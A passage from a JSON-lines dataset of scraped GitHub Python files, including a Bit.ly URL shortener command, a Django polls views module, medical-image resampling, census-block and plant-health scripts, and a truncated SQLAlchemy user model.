'https://api-ssl.bitly.com/v3/shorten'\n api_url += f'?longUrl={long_url}&domain=bit.ly&format=json'\n api_url += f'&access_token={cmd.cfg.access_token}'\n async with aiohttp.ClientSession() as session:\n async with session.get(api_url) as data:\n data = await data.read()\n data = json.loads(data)\n status_code = data['status_code']\n if status_code == 200:\n short_url = data['data']['url']\n if text_mode:\n response = None\n text_cont = f'Your URL: <{short_url}>'\n else:\n response = discord.Embed(color=0x66CC66)\n response.add_field(name='✅ URL Shortened', value=short_url)\n elif status_code == 500:\n response = GenericResponse('Bad URL.').error()\n else:\n response = GenericResponse(f'Error {status_code} - {data[\"status_txt\"]}.').error()\n else:\n response = GenericResponse('Nothing inputted.').error()\n else:\n response = GenericResponse('No Bit.ly Access Token.').error()\n await pld.msg.channel.send(text_cont, embed=response)\n","repo_name":"lu-ci/apex-sigma-core","sub_path":"sigma/modules/utilities/tools/shortenurl.py","file_name":"shortenurl.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"75"} +{"seq_id":"12329517490","text":"import gym\nimport numpy as np\nimport peqnp as cnf\n\n\ndef run_episode(seq, render=False):\n global par, m, env\n par = par[seq]\n observation = env.reset()\n total_reward = 0\n for _ in range(m):\n if render:\n env.render()\n action = 0 if np.matmul(par, observation) < 0 else 1\n observation, reward, done, info = env.step(action)\n total_reward += reward\n if done:\n break\n env.close()\n return m - total_reward\n\n\nif __name__ == '__main__':\n\n env = gym.make('CartPole-v1')\n\n n = 4\n m = 500\n glb = np.inf\n while True:\n par = np.random.sample(size=n)\n seq = cnf.hess_sequence(n, oracle=run_episode, fast=False)\n loc = run_episode(seq)\n if loc < glb:\n glb = loc\n print(glb, par)\n if glb == 0:\n if run_episode(seq, render=True) == 0:\n break\n else:\n glb = np.inf\n","repo_name":"maxtuno/PEQNP","sub_path":"examples/realtime_cart_pole_v1.py","file_name":"realtime_cart_pole_v1.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"75"} +{"seq_id":"11037408199","text":"import SimpleITK as sitk\nimport vtk\nimport numpy as np\nimport sys, os\n\nsubjectString = \"08037ROGU_DATA\"\nfileNameT1 = \"D:\\\\DATASET\\\\MS_SegmentationChallengeDataset\\\\\"+subjectString+\"\\\\structural\\\\T1.nii\"\nfileNameMask = \"D:\\\\DATASET\\\\MS_SegmentationChallengeDataset\\\\\"+subjectString+\"\\\\lesionMask\\\\Consensus.nii\"\nfileNameResampledMask = \"D:\\\\DATASET\\\\MS_SegmentationChallengeDataset\\\\\"+subjectString+\"\\\\lesionMask\\\\ConsensusResampled.nii\"\n\nreaderT1 = sitk.ImageFileReader()\nreaderT1.SetFileName(fileNameT1)\nreaderT1.LoadPrivateTagsOn()\nreaderT1.ReadImageInformation()\nreaderT1.LoadPrivateTagsOn()\nimageT1 = sitk.ReadImage(fileNameT1)\n\n#for k in readerT1.GetMetaDataKeys():\n# v = readerT1.GetMetaData(k)\n# print(\"({0}) = = \\\"{1}\\\"\".format(k,v))\n\n\n#print(readerT1.GetMetaData(\"srow_x\").split()[:3])\n#print#(readerT1.GetMetaData(\"srow_y\").split()[:3])\n#print(readerT1.GetMetaData(\"srow_z\").split()[:3])\n#print(directionMatrix)\n\n#print(readerT1.GetTransform())\n#quit()\n\nreaderMask = sitk.ImageFileReader()\nreaderMask.SetFileName(fileNameMask)\nreaderMask.LoadPrivateTagsOn()\nreaderMask.ReadImageInformation()\nimageMask = sitk.ReadImage(fileNameMask)\n\norigin = (float(readerMask.GetMetaData(\"qoffset_x\")), float(readerMask.GetMetaData(\"qoffset_y\")), float(readerMask.GetMetaData(\"qoffset_z\")))\n\ndirectionMatrix = readerMask.GetMetaData(\"srow_x\").split()[:3]\ndirectionMatrix.extend(readerMask.GetMetaData(\"srow_y\").split()[:3])\ndirectionMatrix.extend(readerMask.GetMetaData(\"srow_z\").split()[:3])\ndirectionMatrix = tuple(list(map(float, directionMatrix)))\n\ntargetSpacingX = readerT1.GetSpacing()[0]\ntargetSpacingY = readerT1.GetSpacing()[1]\ntargetSpacingZ = readerT1.GetSpacing()[2]\n\n\n# Resample Mask data.\nresampleMask = sitk.ResampleImageFilter()\nresampleMask.SetInterpolator(sitk.sitkLinear)\nresampleMask.SetOutputDirection(imageMask.GetDirection())\nresampleMask.SetOutputOrigin(imageMask.GetOrigin())\nnew_spacingMask = [targetSpacingX, targetSpacingY, targetSpacingZ]\nnew_spacingMasktuple = np.array([targetSpacingX, targetSpacingY, targetSpacingZ], dtype=np.float)\norig_sizeMask = np.array(readerMask.GetSize(), dtype=np.int)\norig_spacingMask = np.array(readerMask.GetSpacing(), dtype=np.float)\nprint(\"New spacing\")\nprint(new_spacingMask)\nnew_size = orig_sizeMask*(orig_spacingMask/new_spacingMask)\nnew_size = np.ceil(new_size).astype(np.int) # Image dimensions are in integers\nnew_size = [int(s) for s in new_size]\nprint(\"New size\")\nprint(new_size)\nresampleMask.SetSize(new_size)\nresampleMask.SetOutputSpacing(new_spacingMask)\nresampleMask.SetOutputPixelType(readerMask.GetPixelID())\nnewImageMask = resampleMask.Execute(imageMask)\n# Write resampled data.\nwriterMask = sitk.ImageFileWriter()\nwriterMask.SetFileName(fileNameResampledMask)\nwriterMask.Execute(newImageMask)\n\n\nprint(\"#################################################\")\nprint(\"T1 Image Size: {0}\".format(readerT1.GetSize()))\nprint(\"T1 Image Spacing: {0}\".format(readerT1.GetSpacing()))\nprint(\"T1 GetOrigin(): {0}\".format(readerT1.GetOrigin()))\nprint(\"T1 Direction: {0}\".format(readerT1.GetDirection()))\nprint(\"T1 Image PixelType: {0}\".format(sitk.GetPixelIDValueAsString(readerT1.GetPixelID())))\nprint(\"#################################################\")\nprint(\"Mask Image Size: {0}\".format(readerMask.GetSize()))\nprint(\"Mask Image Spacing: {0}\".format(readerMask.GetSpacing()))\nprint(\"Mask GetOrigin(): {0}\".format(readerMask.GetOrigin()))\nprint(\"Mask Direction: {0}\".format(readerMask.GetDirection()))\nprint(\"Mask Image PixelType: {0}\".format(sitk.GetPixelIDValueAsString(readerMask.GetPixelID())))\nprint(\"#################################################\")\n\n# pt = (-79.18413543701172, -127.30085754394531, -127.94029235839844)\n# idx = (176, 256, 256)\n\n# print(\"Voxel {} is point {}.\".format(idx, imageT1.TransformIndexToPhysicalPoint(idx)))\n# print(\"Voxel {} is point {}.\".format(idx, imageMask.TransformIndexToPhysicalPoint(idx)))\n# print(\"Point {} is voxel {}.\".format(pt, imageMask.TransformPhysicalPointToIndex(pt)))\n# print(\"Point {} is voxel {}.\".format(pt, imageT1.TransformPhysicalPointToIndex(pt)))\n\n\n\nprint(\"DONE\")\n\n# euler3DTransform = sitk.Euler3DTransform()\n# euler3DTransform.SetMatrix([-1, 0, 0, 0, -1, 0, 0, 0, 1,0,0,0])\n\n#rotation3 = sitk.VersorRigid3DTransform()\n#rotation3.SetTranslation([5,5,5])\n#print(rotation3.GetMatrix())\n#rotation3.SetMatrix([-1, 0, 0, 0, -1, 0, 0, 0, 1,0,0,0]);\n","repo_name":"sherinsugathan/MS_Lesion_Vis","sub_path":"ext/ResampleData.py","file_name":"ResampleData.py","file_ext":"py","file_size_in_byte":4374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15307855752","text":"\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.http import HttpResponseRedirect, JsonResponse\nfrom django.urls import reverse\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.views.generic import ListView\nfrom view_breadcrumbs import ListBreadcrumbMixin\n\nfrom .models import Choices, Questions, Answer, Form, Responses\nimport json\nimport random\nimport string\n\nUser = get_user_model()\n\n\nclass PollList(LoginRequiredMixin, ListBreadcrumbMixin, ListView):\n template_name = \"index/list.html\"\n model = Form\n paginate_by = 30\n context_object_name = \"poll_list\"\n queryset = Form.objects.all()\n\n\n@staff_member_required\ndef index(request):\n forms = Form.objects.filter(creator=request.user)\n return render(request, \"index/index.html\", {\"forms\": forms})\n\n\n@staff_member_required\ndef create_form(request):\n if request.method == \"POST\":\n data = json.loads(request.body)\n title = data[\"title\"]\n code = \"\".join(\n random.choice(string.ascii_letters + string.digits) for x in range(30)\n )\n choices = Choices(choice=\"Вариант ответа\")\n choices.save()\n question = Questions(\n question_type=Questions.NO_MULTIPLE,\n question=\"Новый вопрос\",\n required=False,\n )\n question.save()\n question.choices.add(choices)\n question.save()\n form = Form(code=code, title=title, creator=request.user)\n form.save()\n form.questions.add(question)\n form.save()\n return JsonResponse({\"message\": \"Sucess\", \"code\": code})\n\n\n@staff_member_required\ndef edit_form(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n return render(request, \"index/form.html\", {\"code\": code, \"form\": form_info})\n\n\n@staff_member_required\ndef edit_title(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"POST\":\n data = json.loads(request.body)\n if len(data[\"title\"]) > 0:\n form_info.title = data[\"title\"]\n form_info.save()\n else:\n form_info.title = form_info.title[0]\n form_info.save()\n return JsonResponse({\"message\": \"Success\", \"title\": form_info.title})\n\n\n@staff_member_required\ndef edit_description(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"POST\":\n data = json.loads(request.body)\n form_info.description = data[\"description\"]\n form_info.save()\n return JsonResponse(\n {\"message\": \"Success\", \"description\": form_info.description}\n )\n\n\n@staff_member_required\ndef edit_bg_color(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"POST\":\n data = json.loads(request.body)\n form_info.background_color = data[\"bgColor\"]\n form_info.save()\n return JsonResponse(\n {\"message\": \"Success\", \"bgColor\": form_info.background_color}\n )\n\n\n@staff_member_required\ndef edit_text_color(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"POST\":\n data = json.loads(request.body)\n form_info.text_color = data[\"textColor\"]\n form_info.save()\n return JsonResponse({\"message\": \"Success\", \"textColor\": form_info.text_color})\n\n\n@staff_member_required\ndef edit_setting(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"POST\":\n data = json.loads(request.body)\n form_info.collect_email = data[\"collect_email\"]\n form_info.is_quiz = data[\"is_quiz\"]\n form_info.authenticated_responder = data[\"authenticated_responder\"]\n form_info.confirmation_message = data[\"confirmation_message\"]\n form_info.edit_after_submit = data[\"edit_after_submit\"]\n form_info.allow_view_score = data[\"allow_view_score\"]\n form_info.save()\n return JsonResponse({\"message\": \"Success\"})\n\n\n@staff_member_required\ndef delete_form(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"DELETE\":\n # Delete all questions and choices\n for i in form_info.questions.all():\n for j in i.choices.all():\n j.delete()\n i.delete()\n for i in Responses.objects.filter(response_to=form_info):\n for j in i.response.all():\n j.delete()\n i.delete()\n form_info.delete()\n return JsonResponse({\"message\": \"Success\"})\n\n\n@staff_member_required\ndef edit_question(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"POST\":\n data = json.loads(request.body)\n question_id = data[\"id\"]\n question = Questions.objects.filter(id=question_id)\n if question.count() == 0:\n return HttpResponseRedirect(reverse(\"404\"))\n else:\n question = question[0]\n question.question = data[\"question\"]\n question.question_type = data[\"question_type\"]\n question.required = data[\"required\"]\n if data.get(\"score\"):\n question.score = data[\"score\"]\n if data.get(\"answer_key\"):\n question.answer_key = data[\"answer_key\"]\n question.save()\n return JsonResponse({\"message\": \"Success\"})\n\n\n@staff_member_required\ndef edit_choice(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"POST\":\n data = json.loads(request.body)\n choice_id = data[\"id\"]\n choice = Choices.objects.filter(id=choice_id)\n if choice.count() == 0:\n return HttpResponseRedirect(reverse(\"404\"))\n else:\n choice = choice[0]\n choice.choice = data[\"choice\"]\n if data.get(\"is_answer\"):\n choice.is_answer = data[\"is_answer\"]\n choice.save()\n return JsonResponse({\"message\": \"Success\"})\n\n\n@staff_member_required\ndef add_choice(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"POST\":\n data = json.loads(request.body)\n choice = Choices(choice=\"Вариант ответа\")\n choice.save()\n form_info.questions.get(pk=data[\"question\"]).choices.add(choice)\n form_info.save()\n return JsonResponse(\n {\"message\": \"Success\", \"choice\": choice.choice, \"id\": choice.id}\n )\n\n\n@staff_member_required\ndef remove_choice(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"POST\":\n data = json.loads(request.body)\n choice = Choices.objects.filter(pk=data[\"id\"])\n if choice.count() == 0:\n return HttpResponseRedirect(reverse(\"404\"))\n else:\n choice = choice[0]\n choice.delete()\n return JsonResponse({\"message\": \"Success\"})\n\n\n@staff_member_required\ndef get_choice(request, code, question):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"GET\":\n question = Questions.objects.filter(id=question)\n if question.count() == 0:\n return HttpResponseRedirect(reverse(\"404\"))\n else:\n question = question[0]\n choices = question.choices.all()\n choices = [\n {\"choice\": i.choice, \"is_answer\": i.is_answer, \"id\": i.id} for i in choices\n ]\n return JsonResponse(\n {\n \"choices\": choices,\n \"question\": question.question,\n \"question_type\": question.question_type,\n \"question_id\": question.id,\n }\n )\n\n\n@staff_member_required\ndef add_question(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"POST\":\n choices = Choices(choice=\"Вариант 1\")\n choices.save()\n question = Questions(\n question_type=\"multiple choice\",\n question=\"Новый вопрос\",\n required=False,\n )\n question.save()\n question.choices.add(choices)\n question.save()\n form_info.questions.add(question)\n form_info.save()\n return JsonResponse(\n {\n \"question\": {\n \"question\": \"Новый вопрос\",\n \"question_type\": \"multiple choice\",\n \"required\": False,\n \"id\": question.id,\n },\n \"choices\": {\n \"choice\": \"Вариант 1\",\n \"is_answer\": False,\n \"id\": choices.id,\n },\n }\n )\n\n\n@staff_member_required\ndef delete_question(request, code, question):\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"DELETE\":\n question = Questions.objects.filter(id=question)\n if question.count() == 0:\n return HttpResponseRedirect(reverse(\"404\"))\n else:\n question = question[0]\n for i in question.choices.all():\n i.delete()\n question.delete()\n return JsonResponse({\"message\": \"Success\"})\n\n\n@staff_member_required\ndef score(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if not form_info.is_quiz:\n return HttpResponseRedirect(reverse(\"edit_form\", args=[code]))\n else:\n return render(request, \"index/score.html\", {\"form\": form_info})\n\n\n@staff_member_required\ndef edit_score(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if not form_info.is_quiz:\n return HttpResponseRedirect(reverse(\"edit_form\", args=[code]))\n else:\n if request.method == \"POST\":\n data = json.loads(request.body)\n question_id = data[\"question_id\"]\n question = form_info.questions.filter(id=question_id)\n if question.count() == 0:\n return HttpResponseRedirect(reverse(\"edit_form\", args=[code]))\n else:\n question = question[0]\n score = data[\"score\"]\n if score == \"\":\n score = 0\n question.score = score\n question.save()\n return JsonResponse({\"message\": \"Success\"})\n\n\n@staff_member_required\ndef answer_key(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if not form_info.is_quiz:\n return HttpResponseRedirect(reverse(\"edit_form\", args=[code]))\n else:\n if request.method == \"POST\":\n data = json.loads(request.body)\n question = Questions.objects.filter(id=data[\"question_id\"])\n if question.count() == 0:\n return HttpResponseRedirect(reverse(\"edit_form\", args=[code]))\n else:\n question = question[0]\n if (\n question.question_type == \"short\"\n or question.question_type == \"paragraph\"\n ):\n question.answer_key = data[\"answer_key\"]\n question.save()\n else:\n for i in question.choices.all():\n i.is_answer = False\n i.save()\n if question.question_type == \"multiple choice\":\n choice = question.choices.get(pk=data[\"answer_key\"])\n choice.is_answer = True\n choice.save()\n else:\n for i in data[\"answer_key\"]:\n choice = question.choices.get(id=i)\n choice.is_answer = True\n choice.save()\n question.save()\n return JsonResponse({\"message\": \"Success\"})\n\n\n@staff_member_required\ndef feedback(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if not form_info.is_quiz:\n return HttpResponseRedirect(reverse(\"edit_form\", args=[code]))\n else:\n if request.method == \"POST\":\n data = json.loads(request.body)\n question = form_info.questions.get(id=data[\"question_id\"])\n question.feedback = data[\"feedback\"]\n question.save()\n return JsonResponse({\"message\": \"Success\"})\n\n\n@login_required\ndef view_form(request, code):\n form_info = get_object_or_404(Form, code=code)\n\n if form_info.authenticated_responder:\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse(\"login\"))\n return render(request, \"index/view_form.html\", {\"form\": form_info})\n\n\ndef get_client_ip(request):\n x_forwarded_for = request.META.get(\"HTTP_X_FORWARDED_FOR\")\n if x_forwarded_for:\n ip = x_forwarded_for.split(\",\")[0]\n else:\n ip = request.META.get(\"REMOTE_ADDR\")\n return ip\n\n\n@login_required\ndef submit_form(request, code):\n form_info = get_object_or_404(Form, code=code)\n initial_code = code\n if Responses.objects.filter(responder=request.user, response_to=form_info).exists():\n messages.success(request, \"Ошибка. Вы уже проходили эту форму\")\n return HttpResponseRedirect(\n reverse(\n \"view_form\",\n kwargs={\"code\": initial_code},\n )\n )\n\n if request.method == \"POST\":\n code = \"\".join(\n random.choice(string.ascii_letters + string.digits) for x in range(20)\n )\n if form_info.authenticated_responder:\n response = Responses(\n response_code=code,\n response_to=form_info,\n responder_ip=get_client_ip(request),\n responder=request.user,\n )\n response.save()\n else:\n if not form_info.collect_email:\n response = Responses(\n response_code=code,\n response_to=form_info,\n responder_ip=get_client_ip(request),\n )\n response.save()\n else:\n response = Responses(\n response_code=code,\n response_to=form_info,\n responder_ip=get_client_ip(request),\n responder_email=request.POST[\"email-address\"],\n )\n response.save()\n\n for i in request.POST:\n if i == \"csrfmiddlewaretoken\" or i == \"email-address\":\n continue\n question = form_info.questions.get(id=i)\n\n for j in request.POST.getlist(i):\n answer = Answer(answer=j, answer_to=question)\n answer.save()\n response.response.add(answer)\n response.save()\n\n messages.success(request, form_info.confirmation_message)\n\n return HttpResponseRedirect(\n reverse(\n \"polls:view_form\",\n kwargs={\"code\": initial_code},\n )\n )\n\n\n@login_required\ndef responses(request, code):\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse(\"login\"))\n form_info = get_object_or_404(Form, code=code)\n\n responsesSummary = []\n choiceAnswered = {}\n filteredResponsesSummary = {}\n for question in form_info.questions.all():\n answers = Answer.objects.filter(answer_to=question.id)\n if (\n question.question_type == \"multiple choice\"\n or question.question_type == \"checkbox\"\n ):\n choiceAnswered[question.question] = choiceAnswered.get(\n question.question, {}\n )\n for answer in answers:\n choice = answer.answer_to.choices.get(id=answer.answer).choice\n choiceAnswered[question.question][choice] = (\n choiceAnswered.get(question.question, {}).get(choice, 0) + 1\n )\n responsesSummary.append({\"question\": question, \"answers\": answers})\n for answr in choiceAnswered:\n filteredResponsesSummary[answr] = {}\n keys = choiceAnswered[answr].values()\n for choice in choiceAnswered[answr]:\n filteredResponsesSummary[answr][choice] = choiceAnswered[answr][choice]\n\n return render(\n request,\n \"index/responses.html\",\n {\n \"form\": form_info,\n \"responses\": Responses.objects.filter(response_to=form_info),\n \"responsesSummary\": responsesSummary,\n \"filteredResponsesSummary\": filteredResponsesSummary,\n },\n )\n\n\n@login_required\ndef response(request, code, response_code):\n form_info = get_object_or_404(Form, code=code)\n\n if not form_info.allow_view_score:\n if form_info.creator != request.user:\n return HttpResponseRedirect(reverse(\"403\"))\n total_score = 0\n score = 0\n responseInfo = Responses.objects.filter(response_code=response_code)\n if responseInfo.count() == 0:\n return HttpResponseRedirect(reverse(\"404\"))\n else:\n responseInfo = responseInfo[0]\n if form_info.is_quiz:\n for i in form_info.questions.all():\n total_score += i.score\n for i in responseInfo.response.all():\n if (\n i.answer_to.question_type == \"short\"\n or i.answer_to.question_type == \"paragraph\"\n ):\n if i.answer == i.answer_to.answer_key:\n score += i.answer_to.score\n elif i.answer_to.question_type == \"multiple choice\":\n answerKey = None\n for j in i.answer_to.choices.all():\n if j.is_answer:\n answerKey = j.id\n if answerKey is not None and int(answerKey) == int(i.answer):\n score += i.answer_to.score\n _temp = []\n for i in responseInfo.response.all():\n if i.answer_to.question_type == \"checkbox\" and i.answer_to.pk not in _temp:\n answers = []\n answer_keys = []\n for j in responseInfo.response.filter(answer_to__pk=i.answer_to.pk):\n answers.append(int(j.answer))\n for k in j.answer_to.choices.all():\n if k.is_answer and k.pk not in answer_keys:\n answer_keys.append(k.pk)\n _temp.append(i.answer_to.pk)\n if answers == answer_keys:\n score += i.answer_to.score\n return render(\n request,\n \"index/response.html\",\n {\n \"form\": form_info,\n \"response\": responseInfo,\n \"score\": score,\n \"total_score\": total_score,\n },\n )\n\n\n@staff_member_required\ndef edit_response(request, code, response_code):\n form_info = get_object_or_404(Form, code=code)\n\n response = Responses.objects.filter(\n response_code=response_code, response_to=form_info\n )\n if response.count() == 0:\n return HttpResponseRedirect(reverse(\"404\"))\n else:\n response = response[0]\n if form_info.authenticated_responder:\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse(\"login\"))\n if response.responder != request.user:\n return HttpResponseRedirect(reverse(\"403\"))\n if request.method == \"POST\":\n if form_info.authenticated_responder and not response.responder:\n response.responder = request.user\n response.save()\n if form_info.collect_email:\n response.responder_email = request.POST[\"email-address\"]\n response.save()\n # Deleting all existing answers\n for i in response.response.all():\n i.delete()\n for i in request.POST:\n # Excluding csrf token and email address\n if i == \"csrfmiddlewaretoken\" or i == \"email-address\":\n continue\n question = form_info.questions.get(id=i)\n for j in request.POST.getlist(i):\n answer = Answer(answer=j, answer_to=question)\n answer.save()\n response.response.add(answer)\n response.save()\n if form_info.is_quiz:\n return HttpResponseRedirect(\n reverse(\"response\", args=[form_info.code, response.response_code])\n )\n else:\n return render(\n request,\n \"index/form_response.html\",\n {\"form\": form_info, \"code\": response.response_code},\n )\n return render(\n request, \"index/edit_response.html\", {\"form\": form_info, \"response\": response}\n )\n\n\ndef delete_responses(request, code):\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse(\"login\"))\n form_info = get_object_or_404(Form, code=code)\n\n if request.method == \"DELETE\":\n responses = Responses.objects.filter(response_to=form_info)\n for response in responses:\n for i in response.response.all():\n i.delete()\n response.delete()\n return JsonResponse({\"message\": \"Success\"})\n","repo_name":"AntonZN/ce_portal","sub_path":"polls/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":21196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19664932295","text":"import pandas as pd\nimport geopandas as gpd\nimport shapely\nimport os\nimport matplotlib\nfrom tqdm import tqdm\n\nprint(\"Begin Script...\")\n\ncsv_file = input(\"Enter the file path of the U.S. Census Block csv: \")\nshp_path = input(\"Entre the file path of the where all U.S. Census Block shapefiles are stored: \")\n\n# findBlankBlocks goes through each state and finds U.S. Census Blocks that have a population of zero.\ndef findBlankBlocks(state, csv, s):\n shp = gpd.read_file(state)\n # reprojecting\n shp = shp.to_crs(epsg=4326)\n shp = gpd.GeoDataFrame(shp)\n data = shp.merge(csv, on='GISJOIN')\n geometry = []\n gisJOIN = []\n for index, row in tqdm(data.iterrows(), total = data.shape[0]):\n if(row['H7V001']) == 0:\n gisJOIN.append(row['GISJOIN'])\n geometry.append(row['geometry'])\n # print statement informing how many blocks are removed.\n print(s+\" had \"+str(len(gisJOIN))+\" blocks with 0 people\")\n result = pd.DataFrame(data = {'GISJOIN':gisJOIN, 'geometry':geometry})\n # converts to geodataframe and then exported into an ESRI shapfile.\n gdf = gpd.GeoDataFrame(result, geometry=result['geometry'])\n print(\"Exporting \"+s+\" to shapefile...\")\n gdf.to_file(driver = 'ESRI Shapefile', filename= \"2010_Blank_Blocks/\"+s+\"_blank_block.shp\")\n print(s+ \" shapefile export complete\")\n\n# List of states\nstates = [\"AL\",\"AK\",\"AZ\",\"AR\",\"CA\",\"CO\",\"CT\",\"DC\",\"DE\",\"FL\",\"GA\",\"HI\",\"ID\",\"IL\",\"IN\",\"IA\",\"KS\",\"KY\",\"LA\",\"ME\",\"MD\",\"MA\",\"MI\",\"MN\",\"MS\",\"MO\",\"MT\",\"NE\",\"NV\",\n \"NH\",\"NJ\",\"NM\",\"NY\",\"NC\",\"ND\",\"OH\",\"OK\",\"OR\",\"PA\",\"RI\",\"SC\",\"SD\",\"TN\",\"TX\",\"UT\",\"VT\",\"VA\",\"WA\",\"WV\",\"WI\",\"WY\"]\n\nprint(\"Loading csv...\")\n\n# Enter the csv filepath of Census Block data.\ncsv = pd.read_csv(csv_file, encoding = \"ISO-8859-1\")\ncsv = pd.DataFrame(csv)\n# Columns not needed\ncsv.drop(columns = ['YEAR','REGIONA','DIVISIONA','STATE','STATEA','COUNTY','COUNTYA','COUSUBA','PLACEA','TRACTA',\n 'BLKGRPA','BLOCKA','CONCITA','AIANHHA','RES_ONLYA','TRUSTA','AITSCEA','TTRACTA','TBLKGRPA','ANRCA','CBSAA',\n 'METDIVA','CSAA','NECTAA','NECTADIVA','CNECTAA','UAA','URBRURALA','CDA','SLDUA','SLDLA','ZCTA5A','SUBMCDA',\n 'SDELMA','SDSECA','SDUNIA','NAME','SABINSA'])\n\nprint(\"csv successfully loaded\")\n\n# For loop going through each state in the state list\nfor s in states:\n print(\"Starting with \"+ s)\n #loops through state file name\n file_input = (shp_path+s+\"Name of shapefile here\")\n #findBlankBlocks is called to join csv and shapefile together and export a new shapefile of blocks with population of 0.\n findBlankBlocks(file_input, csv, s)\n print(s + \" is complete\")\n","repo_name":"Kyle-McNair/birth-generation-map","sub_path":"python/Find_Blank_Blocks.py","file_name":"Find_Blank_Blocks.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"20756690309","text":"import time\n\nfrom selenium.webdriver.support.wait import WebDriverWait\n\nif __name__ == '__main__':\n driver = \"aaa\"\n def fake_conditions(driver):\n print(\"当前时间为:\", time.time())\n\n # until 传入的参数为一个函数对象,不是函数调用\n WebDriverWait(driver, 10, 2).until(fake_conditions, \"霍格沃兹测试开发\")","repo_name":"hubangsheng/testing","sub_path":"webTestDemo/wait/wait_Demo.py","file_name":"wait_Demo.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33133786422","text":"import cv2\nimport numpy as np\nfrom keras.models import load_model\nimport tkinter as tk\nfrom PIL import Image, ImageTk\n\nwindow = tk.Tk()\nwindow.title(\"Plant Health Check\")\nwindow.geometry(\"800x900\")\nwindow.resizable(False, False)\n\nresultLabel = tk.Label(window, text=\"\")\nresultLabel.config(font=(\"Arial\", 25))\n\n\ndef checkPlant():\n model = load_model('keras_model.h5', compile=False)\n camera = vid\n labels = open('labels.txt', 'r').readlines()\n ret, image = camera.read()\n image = cv2.resize(image, (224, 224), interpolation=cv2.INTER_AREA)\n image = np.asarray(image, dtype=np.float32).reshape(1, 224, 224, 3)\n image = (image / 127.5) - 1\n probabilities = model.predict(image)\n print(labels[np.argmax(probabilities)])\n resultLabel.config(text=labels[np.argmax(probabilities)])\n\n\ndef exit():\n window.destroy()\n\n\nframeBtn = tk.Button(window, text=\"Check 1 Frame\", command=checkPlant)\nexitBtn = tk.Button(window, text=\"Exit\", command=exit)\nframeBtn.pack()\nexitBtn.pack()\n\nvid = cv2.VideoCapture(0)\n\nwidth, height = 800, 600\n\nvid.set(cv2.CAP_PROP_FRAME_WIDTH, width)\nvid.set(cv2.CAP_PROP_FRAME_HEIGHT, height)\n\nlabel_widget = tk.Label(window)\nlabel_widget.pack()\n\nresultLabel.pack()\n\n\ndef open_camera():\n _, frame = vid.read()\n\n opencv_image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGBA)\n\n captured_image = Image.fromarray(opencv_image)\n\n photo_image = ImageTk.PhotoImage(image=captured_image)\n\n label_widget.photo_image = photo_image\n\n label_widget.configure(image=photo_image)\n label_widget.after(10, open_camera)\n\n\nopen_camera()\n\nwindow.mainloop()","repo_name":"Galfr1/PlantHealthDetection","sub_path":"frames.py","file_name":"frames.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5938744464","text":"from sqlalchemy import and_, String, ForeignKey, Column, Date, Boolean, Table, TIMESTAMP\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.dialects.postgresql import UUID\nfrom sqlalchemy.event import listen\n\nfrom atst.models import Base, ApplicationRole, types, mixins\nfrom atst.models.portfolio_invitation import PortfolioInvitation\nfrom atst.models.application_invitation import ApplicationInvitation\nfrom atst.models.mixins.auditable import (\n AuditableMixin,\n ACTION_UPDATE,\n record_permission_sets_updates,\n)\n\n\nusers_permission_sets = Table(\n \"users_permission_sets\",\n Base.metadata,\n Column(\"user_id\", UUID(as_uuid=True), ForeignKey(\"users.id\")),\n Column(\"permission_set_id\", UUID(as_uuid=True), ForeignKey(\"permission_sets.id\")),\n)\n\n\nclass User(\n Base, mixins.TimestampsMixin, mixins.AuditableMixin, mixins.PermissionsMixin\n):\n __tablename__ = \"users\"\n\n id = types.Id()\n username = Column(String)\n\n permission_sets = relationship(\"PermissionSet\", secondary=users_permission_sets)\n\n portfolio_roles = relationship(\"PortfolioRole\", backref=\"user\")\n application_roles = relationship(\n \"ApplicationRole\",\n backref=\"user\",\n primaryjoin=and_(\n ApplicationRole.user_id == id, ApplicationRole.deleted == False\n ),\n )\n\n portfolio_invitations = relationship(\n 